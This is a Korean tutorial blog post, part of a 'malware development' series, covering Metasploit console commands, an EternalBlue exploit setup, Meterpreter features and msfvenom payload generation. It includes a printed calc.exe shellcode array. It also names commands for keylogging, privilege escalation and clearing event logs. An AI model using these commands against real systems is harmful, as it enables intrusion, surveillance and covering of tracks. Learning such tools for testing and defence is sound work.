metasploit
metasploit 모듈 모음
https://docs.metasploit.com/docs/modules.html
나는 WSL에 환경을 구축했다!
이 사이트를 참고하면 도움이 된다
https://tryhackme.com/module/metasploit
기본 명령어
msfconsole로 msf내부 콘솔로 들어가 명령어를 치면 된다
- 컨텍스트 변경
use exploit/windows/smb/ms17_010_eternalblue
익스플로잇인데 / windows이 타겟이고 / 파일,프린터 공유기 공격을 하는 / ms17_010_eternalblue 공격을 / 사용하겠다

info: 해당 익스의 정보를 출력함
물론 컨텍스트 밖에서
info auxiliary/scanner/ssh/ssh_login처럼 물어봐도 괜찮다show options: 해야 하는 설정을 보여줌- Module options: 침투에 필요한 정보
공격 대상의 IP, 포트 등... - Payload options: 침투 후에 필요한 정보
공격자의 IP, 행동 등... - 예시 이미지
- Module options: 침투에 필요한 정보

show payloads: 이 익스와 사용가능한 페이로드 목록- 예시 이미지

back: 해당 익스 컨텍스트에서 빠져나옴search <찾고싶은 익스>: 익스를 찾아줌
예) search ms17-010
매개변수 설정
그냥 사용하면 되는게 아니라 페이로드마다 환경 설정을 해줘야 한다
set <매개변수> <값>: 매개변수 값 설정
다른 컨텍스트로 변경하면 기본값으로 초기화됨setg <매개변수> <값>: 전역 설정
종료 전까지 설정이 유지된다
set rhosts 10.48.145.163

unset/unset all: set 초기화unsetg: setg 초기화
자주 사용하는 매개변수 모음
RHOSTS: 원격 호스트 (공격 대상의 IP 주소)
여러 대상을 지정 가능
(공백, -범위지정, CIDR표기법, 파일로 불러오기 등)RPORT: 원격 포트 (공격 대상의 포트)PAYLOAD: 익스에 사용할 페이로드LHOST: 공격자의 IP 주소LPORT: 공격자의 포트 주소SESSION: 침투 후 공격 단계에서 기존 연결 재사용
익스 발동
모든 매개변수를 설정한 다음에는 익스플로잇을 발동할 수 있다!
exploit: 익스 발동background: 익스를 백그라운드로 전환하고 msfconsole로 돌아옴
exploit -z: 백그라운드에서 익스 실행sessions: 세션 정보 보기sessions -i <세션 번호>: 특정 세션과 상호작용 하기
meterpreter
일반 쉘과 달리 RAM에서만 상주하는 특수 페이로드
은밀하고
강력하고
확장성이 좋다
만약 익스가 성공한다면 meterpreter> 가 뜰 것이다.
이걸로 다양한 기능을 쓸 수 있다
- 시스템 제어
스크린샷, 키로거:screenshot,keyscan_start - 권한 상승:
getsystem - 파일 관리:
download,upload - 흔적 지우기:
clearev
실제 metasploit을 이용해 공격한 예시
https://asec.ahnlab.com/ko/26705/
msfvenom이란?
metasploit에서 개발한 페이로드 생성 및 인코딩 도구이다. <- 악성코드에서 사용할 부분!
msfvenom -p [페이로드] LHOST=[공격자IP] LPORT=[포트] -f [포맷] -o [파일명]
근데 사실 IP같은걸 지정 안해도 바로 페이로드를 뽑을 수 있다.
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
windows/x64/exec라는 페이로드의 종류로
windows x64 환경에서 실행되는
excute를 실행해라calc.exe라는 명령어를 사용하여
c#의 형태로 출력하여라
byte[] buf = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00};
그럼 이렇게 예쁜 페이로드가 만들어진다!
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o payload.bin
이렇게 옵션을 줘서 .bin 파일로 저장할 수도 있다.
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](9)[페이로드 암호화] (0) | 2026.03.11 |
|---|---|
| [악성코드 개발](8)[페이로드 난독화] (0) | 2026.03.10 |
| [악성코드 개발](6)[페이로드 저장] (0) | 2026.03.06 |
| [악성코드 개발](5)[Windows process & thread] (0) | 2026.03.02 |
| [악성코드 개발](4)[DLL] (0) | 2026.02.27 |